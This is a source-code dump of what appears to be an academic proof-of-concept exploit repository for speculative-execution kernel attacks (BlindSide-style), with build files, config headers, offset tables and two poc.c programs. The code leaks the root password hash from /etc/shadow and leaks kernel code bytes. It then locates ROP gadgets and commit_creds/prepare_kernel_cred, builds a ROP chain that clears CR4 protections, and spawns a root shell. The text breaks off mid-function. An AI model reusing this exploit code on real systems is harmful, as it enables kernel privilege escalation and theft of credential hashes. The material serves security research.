$(ENVPREP_DIR)/envprep.c \ 19 | -I$(MEMPREP_DIR) $(MEMPREP_DIR)/memprep.c \ 20 | -I$(MEMWRITE_DIR) $(MEMWRITE_DIR)/memwrite.c \ 21 | -I$(SPECEX_UTILS_DIR) $(SPECEX_UTILS_DIR)/specex_utils.c \ 22 | -I$(SPECEX_LEAKS_DIR) $(SPECEX_LEAKS_DIR)/specex_leaks.c \ 23 | -I$(LLC_PP_DIR) -L$(LLC_PP_DIR) -Wl,-rpath=$(LLC_PP_DIR) \ 24 | -I$(MATRIX_LIB_DIR) -L$(MATRIX_LIB_DIR) -Wl,-rpath=$(MATRIX_LIB_DIR) \ 25 | -I$(KMOD_DIR) -L$(KMOD_DIR) -Wl,-rpath=$(KMOD_DIR) \ 26 | -lmatrix -lllc_prime_probe -lkmod_driver -lpthread -lm 27 | 28 | $(MATRIX_LIB_DIR)/libmatrix.so: 29 | cd $(MATRIX_LIB_DIR) && make 30 | 31 | $(LLC_PP_DIR)/libllc_prime_probe.so: 32 | cd $(LLC_PP_DIR) && make 33 | 34 | $(KMOD_DIR)/libkmod_driver.so: 35 | cd $(KMOD_DIR) && make 36 | 37 | clean: 38 | rm -f poc 39 | -------------------------------------------------------------------------------- /exploits/2_speculative_data_only_attack/config.h: -------------------------------------------------------------------------------- 1 | #ifndef _CONFIG_H_ 2 | #define _CONFIG_H_ 3 | 4 | 5 | // Control with the definitions below whether to skip 6 | // BlindSide/speculative execution in certain parts of the exploit. 7 | // Note: when skippings parts, make sure 'kmod' module is installed. 8 | #define SKIP_FINDING_KIMAGE 0 9 | #define SKIP_FINDING_SPECTRE_GADGET 0 10 | #define SKIP_FINDING_HEAP 0 11 | #define SKIP_FINDING_USER_PAGE 0 12 | #define SKIP_FINDING_SHADOW_FILE 0 13 | 14 | 15 | // Define below the method to be used for eviction set 16 | // creation in the Prime+Probe library. 17 | 18 | // Use 'evsets' eviction set creation library of Pepe Vila et. al. 19 | #define PP_EVICSET_GEN_METHOD "evsets" 20 | 21 | // Eviction set creation through physical address 22 | // to cache set mappings (tested on Skylake and Kaby Lake) 23 | //#define PP_EVICSET_GEN_METHOD "kmod" 24 | 25 | 26 | // Machine specific definitions 27 | #define RAM_IN_GB 16 28 | #define LLC_SIZE_IN_MB 8 29 | #define LLC_ASSOCIATIVITY 16 30 | 31 | 32 | #define MAIN_THREAD_CPU_ID 0 33 | #define CO_THREAD_CPU_ID (MAIN_THREAD_CPU_ID + 4) 34 | 35 | 36 | #endif /* _CONFIG_H_ */ 37 | -------------------------------------------------------------------------------- /exploits/2_speculative_data_only_attack/kernel_offset_index_mapping.h: -------------------------------------------------------------------------------- 1 | #ifndef _KERNEL_OFFSET_INDEX_MAPPING_H_ 2 | #define _KERNEL_OFFSET_INDEX_MAPPING_H_ 3 | 4 | #define NUM_KERNEL_OFFSET_MAPPINGS 64 5 | unsigned int kernel_offset_index_mapping[NUM_KERNEL_OFFSET_MAPPINGS] = 6 | { 7 | [ 0] = 0xa00018, 8 | [ 1] = 0xa02cf0, 9 | [ 2] = 0xa028a8, 10 | [ 3] = 0xa050f8, 11 | [ 4] = 0xa02c30, 12 | [ 5] = 0xa028a0, 13 | [ 6] = 0xa01358, 14 | [ 7] = 0xa05098, 15 | [ 8] = 0xa02990, 16 | [ 9] = 0xa01458, 17 | [10] = 0xa02978, 18 | [11] = 0xa05158, 19 | [12] = 0xa02bd0, 20 | [13] = 0xa014d0, 21 | [14] = 0xa02200, 22 | [15] = 0xa02ba0, 23 | [16] = 0xa051c8, 24 | [17] = 0xa051d8, 25 | [18] = 0xa04828, 26 | [19] = 0xa051f8, 27 | [20] = 0xa02bd8, 28 | [21] = 0x0, 29 | [22] = 0x0, 30 | [23] = 0xa0be80, 31 | [24] = 0xa02208, 32 | [25] = 0x0, 33 | [26] = 0xa02238, 34 | [27] = 0x0, 35 | [28] = 0xa0be18, 36 | [29] = 0x0, 37 | [30] = 0xa11378, 38 | [31] = 0xa05688, 39 | [32] = 0xa02e00, 40 | [33] = 0x0, 41 | [34] = 0x0, 42 | [35] = 0x0, 43 | [36] = 0xa11390, 44 | [37] = 0xa02bb8, 45 | [38] = 0x0, 46 | [39] = 0x0, 47 | [40] = 0x0, 48 | [41] = 0x0, 49 | [42] = 0xa02e10, 50 | [43] = 0x0, 51 | [44] = 0x0, 52 | [45] = 0x0, 53 | [46] = 0x0, 54 | [47] = 0x0, 55 | [48] = 0x0, 56 | [49] = 0x0, 57 | [50] = 0x0, 58 | [51] = 0x0, 59 | [52] = 0x0, 60 | [53] = 0x0, 61 | [54] = 0x0, 62 | [55] = 0x0, 63 | [56] = 0x0, 64 | [57] = 0x0, 65 | [58] = 0x0, 66 | [59] = 0x0, 67 | [60] = 0x0, 68 | [61] = 0x0, 69 | [62] = 0xa04120, 70 | [63] = 0x0, 71 | }; 72 | 73 | #endif 74 | -------------------------------------------------------------------------------- /exploits/2_speculative_data_only_attack/poc.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include "envprep.h" 4 | #include "memprep.h" 5 | #include "memwrite.h" 6 | #include "specex_utils.h" 7 | #include "specex_leaks.h" 8 | #include "llc_prime_probe.h" 9 | #include "config.h" 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | 18 | #define USER_PAGE_SIZE (2ul*1024*1024) // 2MB 19 | 20 | struct timespec total_exec_start; 21 | void start_timer_total_exec() { 22 | clock_gettime(CLOCK_MONOTONIC, &total_exec_start); 23 | } 24 | 25 | void stop_timer_total_exec() { 26 | struct timespec total_exec_finish; 27 | clock_gettime(CLOCK_MONOTONIC, &total_exec_finish); 28 | 29 | double total_exec_elapsed = (total_exec_finish.tv_sec - total_exec_start.tv_sec); 30 | total_exec_elapsed += (total_exec_finish.tv_nsec - total_exec_start.tv_nsec) / 1000000000.0; 31 | char mod[] = "\033[1;4;93m"; // bold;underline;high-intensity-yellow 32 | char nomod[] = "\033[00m"; 33 | printf("\n%s[#] Total execution time of PoC: %.3f sec%s\n", mod, total_exec_elapsed, nomod); 34 | } 35 | 36 | void init_matrices(); 37 | int main(int argc, char **argv) { 38 | srand(time(NULL)); 39 | 40 | printf("[#] This PoC exploit is a modified version of\n"); 41 | printf("[#] https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-7308/poc.c\n"); 42 | printf("[#] So you might recognize overlapping lines.\n"); 43 | 44 | printf("\n[.] starting\n"); 45 | start_timer_total_exec(); 46 | 47 | setup_sandbox(); 48 | 49 | set_cpu(MAIN_THREAD_CPU_ID); 50 | 51 | init_matrices(); 52 | 53 | printf("\n[.] find LLC eviction sets..\n"); 54 | printf("[.] using eviction set generation method: %s\n", PP_EVICSET_GEN_METHOD); 55 | pp_create_eviction_sets(PP_EVICSET_GEN_METHOD, LLC_SIZE_IN_MB, LLC_ASSOCIATIVITY); 56 | printf("[.] find LLC eviction sets.. DONE\n"); 57 | 58 | prepare_memory_layout(); 59 | find_necessary_items(); 60 | free_unneeded_objects(); 61 | 62 | init_specex_leaks(); 63 | 64 | start_flag_eviction_in_co_thread(); 65 | 66 | unsigned long kernel_base_address = find_kernel_image(); 67 | 68 | unsigned long spectre_gadget_addr = find_spectre_gadget(kernel_base_address); 69 | 70 | unsigned long heap_base_address = find_heap_base_spectre(spectre_gadget_addr); 71 | 72 | unsigned long user_page = (unsigned long) mmap(NULL, USER_PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_HUGETLB, -1, 0); 73 | if (user_page == (unsigned long) MAP_FAILED) { 74 | perror("mmap"); 75 | exit(1); 76 | } 77 | memset((char*)user_page, 0x3c, USER_PAGE_SIZE); 78 | 79 | unsigned long physmap_addr = find_user_page_in_physmap(user_page, USER_PAGE_SIZE, heap_base_address, spectre_gadget_addr, kernel_base_address); 80 | 81 | leak_root_password_hash(spectre_gadget_addr, heap_base_address, user_page, physmap_addr); 82 | 83 | munmap((void*)user_page, USER_PAGE_SIZE); 84 | 85 | stop_timer_total_exec(); 86 | 87 | // stop flag evicting thread 88 | stop_co_thread(); 89 | 90 | pp_close(); 91 | 92 | // make poc process sleep infinitely 93 | fflush(stdout); 94 | fflush(stderr); 95 | while (1) sleep(1000); 96 | 97 | return 0; 98 | } 99 | -------------------------------------------------------------------------------- /exploits/3_breaking_software_based_xom/.gitignore: -------------------------------------------------------------------------------- 1 | dumped_left_sliding_bytes.beautified.out 2 | dumped_left_sliding_bytes.out 3 | expected_bytes-left_slide.beautified.out 4 | expected_bytes-left_slide.out 5 | -------------------------------------------------------------------------------- /exploits/3_breaking_software_based_xom/Makefile: -------------------------------------------------------------------------------- 1 | APP_DIR := $(patsubst %/,%,$(dir $(abspath $(lastword $(MAKEFILE_LIST))))) 2 | LLC_PP_DIR := $(APP_DIR)/../common/cache_channel/ 3 | MATRIX_LIB_DIR := $(APP_DIR)/../common/matrix/ 4 | ENVPREP_DIR := $(APP_DIR)/../common/envprep/ 5 | MEMPREP_DIR := $(APP_DIR)/../common/memprep/ 6 | MEMWRITE_DIR := $(APP_DIR)/../common/memwrite/ 7 | SPECEX_UTILS_DIR := $(APP_DIR)/../common/specex_utils/ 8 | SPECEX_LEAKS_DIR := $(APP_DIR)/../common/specex_leaks/ 9 | KMOD_DIR := $(APP_DIR)/../../kmod/ 10 | 11 | CFLAGS := -g -O2 -flto 12 | 13 | all: poc 14 | 15 | poc: poc.c $(MATRIX_LIB_DIR)/libmatrix.so $(LLC_PP_DIR)/libllc_prime_probe.so $(KMOD_DIR)/libkmod_driver.so $(MEMWRITE_DIR)/memwrite.c $(MEMPREP_DIR)/memprep.c $(ENVPREP_DIR)/envprep.c $(SPECEX_LEAKS_DIR)/specex_leaks.c $(SPECEX_UTILS_DIR)/specex_utils.c config.h 16 | gcc $(CFLAGS) poc.c -o poc -Wunused-function -Wunused-variable \ 17 | -I$(APP_DIR) \ 18 | -I$(ENVPREP_DIR) $(ENVPREP_DIR)/envprep.c \ 19 | -I$(MEMPREP_DIR) $(MEMPREP_DIR)/memprep.c \ 20 | -I$(MEMWRITE_DIR) $(MEMWRITE_DIR)/memwrite.c \ 21 | -I$(SPECEX_UTILS_DIR) $(SPECEX_UTILS_DIR)/specex_utils.c \ 22 | -I$(SPECEX_LEAKS_DIR) $(SPECEX_LEAKS_DIR)/specex_leaks.c \ 23 | -I$(LLC_PP_DIR) -L$(LLC_PP_DIR) -Wl,-rpath=$(LLC_PP_DIR) \ 24 | -I$(MATRIX_LIB_DIR) -L$(MATRIX_LIB_DIR) -Wl,-rpath=$(MATRIX_LIB_DIR) \ 25 | -I$(KMOD_DIR) -L$(KMOD_DIR) -Wl,-rpath=$(KMOD_DIR) \ 26 | -lmatrix -lllc_prime_probe -lkmod_driver -lpthread -lm 27 | 28 | $(MATRIX_LIB_DIR)/libmatrix.so: 29 | cd $(MATRIX_LIB_DIR) && make 30 | 31 | $(LLC_PP_DIR)/libllc_prime_probe.so: 32 | cd $(LLC_PP_DIR) && make 33 | 34 | $(KMOD_DIR)/libkmod_driver.so: 35 | cd $(KMOD_DIR) && make 36 | 37 | clean: 38 | rm -f poc 39 | -------------------------------------------------------------------------------- /exploits/3_breaking_software_based_xom/README.md: -------------------------------------------------------------------------------- 1 | ## Verifying leaked bytes 2 | 3 | At the end of leaking the kernel code bytes, these bytes are written 4 | to the file `dumped_left_sliding_bytes.out`. You can verify the leaked 5 | bytes by running the script `diff_code_bytes.sh`. 6 | 7 | -------------------------------------------------------------------------------- /exploits/3_breaking_software_based_xom/config.h: -------------------------------------------------------------------------------- 1 | #ifndef _CONFIG_H_ 2 | #define _CONFIG_H_ 3 | 4 | 5 | // Control with the definitions below whether to skip 6 | // BlindSide/speculative execution in certain parts of the exploit. 7 | // Note: when skippings parts, make sure 'kmod' module is installed. 8 | #define SKIP_FINDING_KIMAGE 0 9 | #define SKIP_FINDING_SPECTRE_GADGET 0 10 | #define SKIP_FINDING_HEAP 0 11 | #define SKIP_FINDING_USER_PAGE 0 12 | #define SKIP_LEAKING_KERNEL_CODE 0 13 | 14 | 15 | // Define below the method to be used for eviction set 16 | // creation in the Prime+Probe library. 17 | 18 | // Use 'evsets' eviction set creation library of Pepe Vila et. al. 19 | #define PP_EVICSET_GEN_METHOD "evsets" 20 | 21 | // Eviction set creation through physical address 22 | // to cache set mappings (tested on Skylake and Kaby Lake) 23 | //#define PP_EVICSET_GEN_METHOD "kmod" 24 | 25 | 26 | // Machine specific definitions 27 | #define RAM_IN_GB 16 28 | #define LLC_SIZE_IN_MB 8 29 | #define LLC_ASSOCIATIVITY 16 30 | 31 | 32 | #define MAIN_THREAD_CPU_ID 0 33 | #define CO_THREAD_CPU_ID (MAIN_THREAD_CPU_ID + 4) 34 | 35 | 36 | #endif /* _CONFIG_H_ */ 37 | -------------------------------------------------------------------------------- /exploits/3_breaking_software_based_xom/diff_code_bytes.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cat dumped_left_sliding_bytes.out | ../../tools/lib/beautify.py > dumped_left_sliding_bytes.beautified.out 4 | 5 | LEAK_BYTES=$(python -c "print '%d' % (0x8a55b8)") 6 | 7 | PRINT_FROM_ADDR=$(echo 0x`sudo grep ffffffff /proc/kallsyms | head -1` | awk '{print $1}') 8 | PRINT_FROM_ADDR=$(python -c "print '0x%x' % (${PRINT_FROM_ADDR}+0x8a55b8-${LEAK_BYTES})") 9 | 10 | ../../tools/print_kernel_bytes.sh $PRINT_FROM_ADDR $LEAK_BYTES > expected_bytes-left_slide.out 11 | cat expected_bytes-left_slide.out | ../../tools/lib/beautify.py > expected_bytes-left_slide.beautified.out 12 | 13 | diff dumped_left_sliding_bytes.beautified.out expected_bytes-left_slide.beautified.out 14 | -------------------------------------------------------------------------------- /exploits/3_breaking_software_based_xom/kernel_offset_index_mapping.h: -------------------------------------------------------------------------------- 1 | #ifndef _KERNEL_OFFSET_INDEX_MAPPING_H_ 2 | #define _KERNEL_OFFSET_INDEX_MAPPING_H_ 3 | 4 | #define NUM_KERNEL_OFFSET_MAPPINGS 64 5 | unsigned int kernel_offset_index_mapping[NUM_KERNEL_OFFSET_MAPPINGS] = 6 | { 7 | [ 0] = 0xa00018, 8 | [ 1] = 0xa02cf0, 9 | [ 2] = 0xa028a8, 10 | [ 3] = 0xa050f8, 11 | [ 4] = 0xa02c30, 12 | [ 5] = 0xa028a0, 13 | [ 6] = 0xa01358, 14 | [ 7] = 0xa05098, 15 | [ 8] = 0xa02990, 16 | [ 9] = 0xa01458, 17 | [10] = 0xa02978, 18 | [11] = 0xa05158, 19 | [12] = 0xa02bd0, 20 | [13] = 0xa014d0, 21 | [14] = 0xa02200, 22 | [15] = 0xa02ba0, 23 | [16] = 0xa051c8, 24 | [17] = 0xa051d8, 25 | [18] = 0xa04828, 26 | [19] = 0xa051f8, 27 | [20] = 0xa02bd8, 28 | [21] = 0x0, 29 | [22] = 0x0, 30 | [23] = 0xa0be80, 31 | [24] = 0xa02208, 32 | [25] = 0x0, 33 | [26] = 0xa02238, 34 | [27] = 0x0, 35 | [28] = 0xa0be18, 36 | [29] = 0x0, 37 | [30] = 0xa11378, 38 | [31] = 0xa05688, 39 | [32] = 0xa02e00, 40 | [33] = 0x0, 41 | [34] = 0x0, 42 | [35] = 0x0, 43 | [36] = 0xa11390, 44 | [37] = 0xa02bb8, 45 | [38] = 0x0, 46 | [39] = 0x0, 47 | [40] = 0x0, 48 | [41] = 0x0, 49 | [42] = 0xa02e10, 50 | [43] = 0x0, 51 | [44] = 0x0, 52 | [45] = 0x0, 53 | [46] = 0x0, 54 | [47] = 0x0, 55 | [48] = 0x0, 56 | [49] = 0x0, 57 | [50] = 0x0, 58 | [51] = 0x0, 59 | [52] = 0x0, 60 | [53] = 0x0, 61 | [54] = 0x0, 62 | [55] = 0x0, 63 | [56] = 0x0, 64 | [57] = 0x0, 65 | [58] = 0x0, 66 | [59] = 0x0, 67 | [60] = 0x0, 68 | [61] = 0x0, 69 | [62] = 0xa04120, 70 | [63] = 0x0, 71 | }; 72 | 73 | #endif 74 | -------------------------------------------------------------------------------- /exploits/3_breaking_software_based_xom/poc.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | 3 | #include "envprep.h" 4 | #include "memprep.h" 5 | #include "memwrite.h" 6 | #include "specex_utils.h" 7 | #include "specex_leaks.h" 8 | #include "llc_prime_probe.h" 9 | #include "config.h" 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | 22 | #define USER_PAGE_SIZE (2ul*1024*1024) // 2MB 23 | 24 | struct timespec total_exec_start; 25 | void start_timer_total_exec() { 26 | clock_gettime(CLOCK_MONOTONIC, &total_exec_start); 27 | } 28 | 29 | void stop_timer_total_exec() { 30 | struct timespec total_exec_finish; 31 | clock_gettime(CLOCK_MONOTONIC, &total_exec_finish); 32 | 33 | double total_exec_elapsed = (total_exec_finish.tv_sec - total_exec_start.tv_sec); 34 | total_exec_elapsed += (total_exec_finish.tv_nsec - total_exec_start.tv_nsec) / 1000000000.0; 35 | char mod[] = "\033[1;4;93m"; // bold;underline;high-intensity-yellow 36 | char nomod[] = "\033[00m"; 37 | printf("\n%s[#] Total execution time of PoC: %.3f sec%s\n", mod, total_exec_elapsed, nomod); 38 | } 39 | 40 | // CHECK IF ROOT and POP SHELL! 41 | void exec_shell() { 42 | char *shell = "/bin/bash"; 43 | char *args[] = {shell, "-i", NULL}; 44 | execve(shell, args, NULL); 45 | } 46 | 47 | void fork_shell() { 48 | pid_t rv; 49 | 50 | rv = fork(); 51 | if (rv == -1) { 52 | perror("[-] fork()"); 53 | exit(EXIT_FAILURE); 54 | } 55 | 56 | if (rv == 0) { 57 | exec_shell(); 58 | } 59 | } 60 | 61 | bool is_root() { 62 | // We can't simple check uid, since we're running inside a namespace 63 | // with uid set to 0. Try opening /etc/shadow instead. 64 | int fd = open("/etc/shadow", O_RDONLY); 65 | if (fd == -1) 66 | return false; 67 | close(fd); 68 | return true; 69 | } 70 | 71 | int check_root() { 72 | printf("[.] checking if we got root\n"); 73 | 74 | if (!is_root()) { 75 | printf("[-] something went wrong =(\n"); 76 | return 0; 77 | } 78 | 79 | printf("[+] got r00t ^_^\n"); 80 | 81 | return 1; 82 | } 83 | 84 | unsigned long find_byte_seq(char* code_bytes, unsigned long code_size, char* seek_bytes, unsigned long seek_bytes_size) { 85 | unsigned long i, b; 86 | 87 | for (i = 0; i < code_size; i++) { 88 | int found = 1; 89 | for (b = 0; b < seek_bytes_size; b++) { 90 | if (code_bytes[i+b] != seek_bytes[b]) { 91 | found = 0; 92 | break; 93 | } 94 | } 95 | if (found) { 96 | return i; 97 | } 98 | } 99 | 100 | printf("failed to find byte seq.. exiting..\n"); 101 | exit(1); 102 | 103 | return 0x0ul; 104 | } 105 | 106 | unsigned long find_function_start(unsigned long start_idx, char* code_bytes, unsigned long code_size) { 107 | //1: 0xffffffff966a5dc0-0xffffffff966a5dc5: nop dword ptr [rax + rax] 5:0F 1F 44 00 00 108 | //2: 0xffffffff966a5dc5-0xffffffff966a5dc6: push rbp 1:55 109 | char signature[6] = {0x0F, 0x1F, 0x44, 0x00, 0x00, 0x55}; 110 | 111 | unsigned long curr_idx = start_idx - (start_idx%16); 112 | 113 | while (curr_idx > 0) { 114 | int found = 1; 115 | 116 | unsigned long b; 117 | for (b = 0; b < sizeof(signature); b++) { 118 | if (code_bytes[curr_idx+b] != signature[b]) { 119 | found = 0; 120 | break; 121 | } 122 | } 123 | if (found) { 124 | return curr_idx; 125 | } 126 | 127 | curr_idx -= 16; 128 | } 129 | 130 | printf("failed to find function start.. exiting..\n"); 131 | exit(1); 132 | 133 | return 0x0; 134 | } 135 | 136 | unsigned long find_function_commit_creds(unsigned long kernel_base, char* code_bytes, unsigned long code_size) { 137 | // two functions load this specific global var. 138 | // commit_creds loads it one time and setup_new_exec two times. 139 | // assumes we know access in data section. 140 | // .text:FFFFFFFF810A5E83 mov esi, cs:dword_FFFFFFFF821EDE60 141 | 142 | unsigned long koffset_global_var = 0x11ede60ul; 143 | unsigned long kaddr_global_var = kernel_base + koffset_global_var; 144 | 145 | unsigned long koffset_func_starts[3] = {0x0ul, 0x0ul, 0x0ul}; 146 | int found_funcs = 0; 147 | 148 | char mov_from_data_seg_bytes[6] = {0x8B, 0x35, 0x00, 0x00, 0x00, 0x00}; 149 | 150 | unsigned long i, b; 151 | unsigned long next_search_idx_start = 0x0; 152 | while (found_funcs < sizeof(koffset_func_starts)/sizeof(unsigned long)) { 153 | unsigned long found_ins_offset = 0xfffffffffffffffful; 154 | 155 | for (i = next_search_idx_start; i < code_size; i++) { 156 | unsigned long next_ins_addr = kernel_base + i + sizeof(mov_from_data_seg_bytes); 157 | *(unsigned int*) &mov_from_data_seg_bytes[2] = (unsigned int) (kaddr_global_var - next_ins_addr); 158 | 159 | int found = 1; 160 | for (b = 0; b < sizeof(mov_from_data_seg_bytes); b++) { 161 | if (code_bytes[i+b] != mov_from_data_seg_bytes[b]) { 162 | found = 0; 163 | break; 164 | } 165 | } 166 | if (found) { 167 | found_ins_offset = i; 168 | break; 169 | } 170 | } 171 | 172 | if (found_ins_offset == 0xfffffffffffffffful) { 173 | printf("[.] >> failed to find byte seq.. exiting..\n"); 174 | exit(1); 175 | } 176 | 177 | koffset_func_starts[found_funcs] = find_function_start(found_ins_offset, code_bytes, code_size); 178 | found_funcs += 1; 179 | 180 | next_search_idx_start = found_ins_offset + sizeof(mov_from_data_seg_bytes); 181 | } 182 | 183 | // commit_creds uses the global var 1 time and the other function 2 times. 184 | // So check for the function that appeared once. 185 | for (i = 0; i < found_funcs; i++) { 186 | unsigned long test_func = koffset_func_starts[i]; 187 | 188 | int f; 189 | int c = 0; 190 | for (f = 0; f < found_funcs; f++) { 191 | if (test_func == koffset_func_starts[f]) { 192 | c += 1; 193 | } 194 | } 195 | 196 | if (c == 1) { 197 | return kernel_base + test_func; 198 | } 199 | } 200 | 201 | printf("[.] >> failed to find commit_creds.. exiting..\n"); 202 | exit(1); 203 | 204 | return 0x0ul; 205 | } 206 | 207 | unsigned long find_function_prepare_kernel_cred(unsigned long kernel_base, char* code_bytes, unsigned long code_size) { 208 | // only appears in prepare_kernel_cred. 209 | // assumes we know access in data section. 210 | // .text:FFFFFFFF810A61EF lock inc cs:dword_FFFFFFFF81E4A2E0 211 | char lock_ins_bytes[7] = {0xF0, 0xFF, 0x05, 0x00, 0x00, 0x00, 0x00}; 212 | 213 | unsigned long koffset_global_var = 0xe4a2e0ul; 214 | unsigned long kaddr_global_var = kernel_base + koffset_global_var; 215 | 216 | unsigned long koffset_lock_inc = 0xfffffffffffffffful; 217 | unsigned long i, b; 218 | for (i = 0; i < code_size; i++) { 219 | unsigned long next_ins_addr = kernel_base + i + sizeof(lock_ins_bytes); 220 | *(unsigned int*) &lock_ins_bytes[3] = (unsigned int) (kaddr_global_var - next_ins_addr); 221 | 222 | int found = 1; 223 | for (b = 0; b < sizeof(lock_ins_bytes); b++) { 224 | if (code_bytes[i+b] != lock_ins_bytes[b]) { 225 | found = 0; 226 | break; 227 | } 228 | } 229 | if (found) { 230 | koffset_lock_inc = i; 231 | break; 232 | } 233 | } 234 | 235 | if (koffset_lock_inc == 0xfffffffffffffffful) { 236 | printf("failed to find byte seq.. exiting..\n"); 237 | exit(1); 238 | } 239 | 240 | unsigned long koffset_func_start = find_function_start(koffset_lock_inc, code_bytes, code_size); 241 | 242 | return kernel_base + koffset_func_start; 243 | } 244 | 245 | unsigned long stack_pivot=0x0; 246 | unsigned long pop_rsp=0x0; 247 | unsigned long pop_rdx=0x0; 248 | unsigned long mov_rax_cr4=0x0; 249 | unsigned long and_rax_rdx=0x0; 250 | unsigned long save_rax=0x0; 251 | unsigned long pop_rdi=0x0; 252 | unsigned long mov_cr4_rdi=0x0; 253 | int (*commit_creds)(void*) = NULL; 254 | void* (*prepare_kernel_cred)(void*) = NULL; 255 | 256 | void find_gadgets_and_functions(unsigned long kernel_base, char* code_bytes, unsigned long code_size) { 257 | struct timespec start_time; 258 | struct timespec end_time; 259 | 260 | printf("\n[.] searching for gadgets and the functions commit_creds and prepare_kernel_cred..\n"); 261 | 262 | clock_gettime(CLOCK_MONOTONIC, &start_time); 263 | 264 | char bytes_stack_pivot[7] = {0x53, 0x08, 0x5B, 0x41, 0x5C, 0x5D, 0xC3}; 265 | stack_pivot = kernel_base + find_byte_seq(code_bytes, code_size, bytes_stack_pivot, sizeof(bytes_stack_pivot)); 266 | printf("[.] >> found gadget: stack pivot @ 0x%lx\n", stack_pivot); 267 | char bytes_pop_rsp[3] = {0x5C, 0x5D, 0xC3}; 268 | pop_rsp = kernel_base + find_byte_seq(code_bytes, code_size, bytes_pop_rsp, sizeof(bytes_pop_rsp)); 269 | printf("[.] >> found gadget: pop rsp @ 0x%lx\n", pop_rsp); 270 | char bytes_pop_rdx[2] = {0x5A, 0xC3}; 271 | pop_rdx = kernel_base + find_byte_seq(code_bytes, code_size, bytes_pop_rdx, sizeof(bytes_pop_rdx)); 272 | printf("[.] >> found gadget: pop rdx @ 0x%lx\n", pop_rdx); 273 | char bytes_mov_rax_cr4[5] = {0x0F, 0x20, 0xE0, 0x5D ,0xC3}; 274 | mov_rax_cr4 = kernel_base + find_byte_seq(code_bytes, code_size, bytes_mov_rax_cr4, sizeof(bytes_mov_rax_cr4)); 275 | printf("[.] >> found gadget: mov rax cr4 @ 0x%lx\n", mov_rax_cr4); 276 | char bytes_and_rax_rdx[4] = {0x48, 0x21, 0xD0, 0xC3}; 277 | and_rax_rdx = kernel_base + find_byte_seq(code_bytes, code_size, bytes_and_rax_rdx, sizeof(bytes_and_rax_rdx)); 278 | printf("[.] >> found gadget: and rax rdx @ 0x%lx\n", and_rax_rdx); 279 | char bytes_save_rax[4] = {0x48, 0x89, 0x02, 0xC3}; 280 | save_rax = kernel_base + find_byte_seq(code_bytes, code_size, bytes_save_rax, sizeof(bytes_save_rax)); 281 | printf("[.] >> found gadget: save rax on stack @ 0x%lx\n", save_rax); 282 | char bytes_pop_rdi[2] = {0x5F, 0xC3}; 283 | pop_rdi = kernel_base + find_byte_seq(code_bytes, code_size, bytes_pop_rdi, sizeof(bytes_pop_rdi)); 284 | printf("[.] >> found gadget: pop rdi @ 0x%lx\n", pop_rdi); 285 | char bytes_mov_cr4_rdi[5] = {0x0F, 0x22, 0xE7, 0x5D ,0xC3}; 286 | mov_cr4_rdi = kernel_base + find_byte_seq(code_bytes, code_size, bytes_mov_cr4_rdi, sizeof(bytes_mov_cr4_rdi)); 287 | printf("[.] >> found gadget: mov cr4 rdi @ 0x%lx\n", mov_cr4_rdi); 288 | 289 | commit_creds = (int (*)(void*)) find_function_commit_creds(kernel_base, code_bytes, code_size); 290 | printf("[.] >> found function: commit_creds @ 0x%lx\n", (unsigned long) commit_creds); 291 | prepare_kernel_cred = (void* (*)(void*)) find_function_prepare_kernel_cred(kernel_base, code_bytes, code_size); 292 | printf("[.] >> found function: prepare_kernel_cred @ 0x%lx\n", (unsigned long) prepare_kernel_cred); 293 | 294 | clock_gettime(CLOCK_MONOTONIC, &end_time); 295 | 296 | double elapsed_time = (end_time.tv_sec - start_time.tv_sec); 297 | elapsed_time += (end_time.tv_nsec - start_time.tv_nsec) / 1000000000.0; 298 | printf("[.] >> finished finding gadgets and functions in %.3f sec\n", elapsed_time); 299 | 300 | printf("[.] searching for gadgets and the functions commit_creds and prepare_kernel_cred.. DONE\n"); 301 | } 302 | 303 | int priv_elevated = 0; 304 | __attribute__((used, noinline)) 305 | void elevate_priv() { 306 | commit_creds(prepare_kernel_cred(NULL)); 307 | priv_elevated = 1; 308 | } 309 | 310 | __attribute__((used, noinline)) 311 | void userspace_wrapper() { 312 | asm volatile ( 313 | " mov %%gs:0x16a04, %%rax\n" 314 | " sub $0x3e8, %%rax\n" 315 | " mov %%rax, %%rsp\n" 316 | " call elevate_priv\n" 317 | " ret\n" 318 | : /* no output */ 319 | : /* no input */ 320 | : "rax", "rsp"); 321 | } 322 | 323 | __attribute__((noinline)) 324 | void write_payload(unsigned long user_page, unsigned long user_page_physmap_addr) { 325 | char buffer[256]; 326 | int size; 327 | 328 | // Disable speculative exuection by restoring the flags in specex socket. 329 | // Flags: 330 | // - SOCK_ZAPPED 0x0100 <- originally the only one set 331 | // - SOCK_USE_WRITE_QUEUE 0x0200 <- unset (enables spec.exec. when set) 332 | // - SOCK_DBG 0x0400 <- unset 333 | set_arb_mem_writer_pos(0x800 + SKC_FLAGS_OFFSET - 40); // change offset in fptr_writer socket 334 | write_skc_flags(0x0100); 335 | 336 | printf("\n[.] restored conditional branch flag of speculative execution socket object to exploit it for 'real' control-flow hijacking\n"); 337 | fflush(stdout); 338 | usleep(50000); 339 | 340 | unsigned long core_rop_chain_base = user_page_physmap_addr + 0x600; // core rop chain base at 0xe00 in page (0x800 (socket obj offset) + 0x600); 341 | 342 | // stack pivoting 343 | // 1: write stack pivot address 344 | write_fptr(specex_socket_second, stack_pivot, 8); // push rbx ; or byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret 345 | printf("\n[.] overwrote the function pointer with the stack pivoting gadget\n"); 346 | fflush(stdout); 347 | usleep(50000); 348 | 349 | // 2: make rsp point to core rop chain 350 | set_arb_mem_writer_pos(0x800); // make writer point to base of socket where few gadget data will be written 351 | memset(buffer, 0, sizeof(buffer)); 352 | size = 0; 353 | *(unsigned long*) (buffer + 0x8) = 0x0; // => popped into RBP #note that least significant 2 bytes are not written. see oob_write below. 354 | size += 8; 355 | *(unsigned long*) (buffer + 0x8) = pop_rsp; // pop rsp ; pop rbp ; ret 356 | size += 8; 357 | *(unsigned long*) 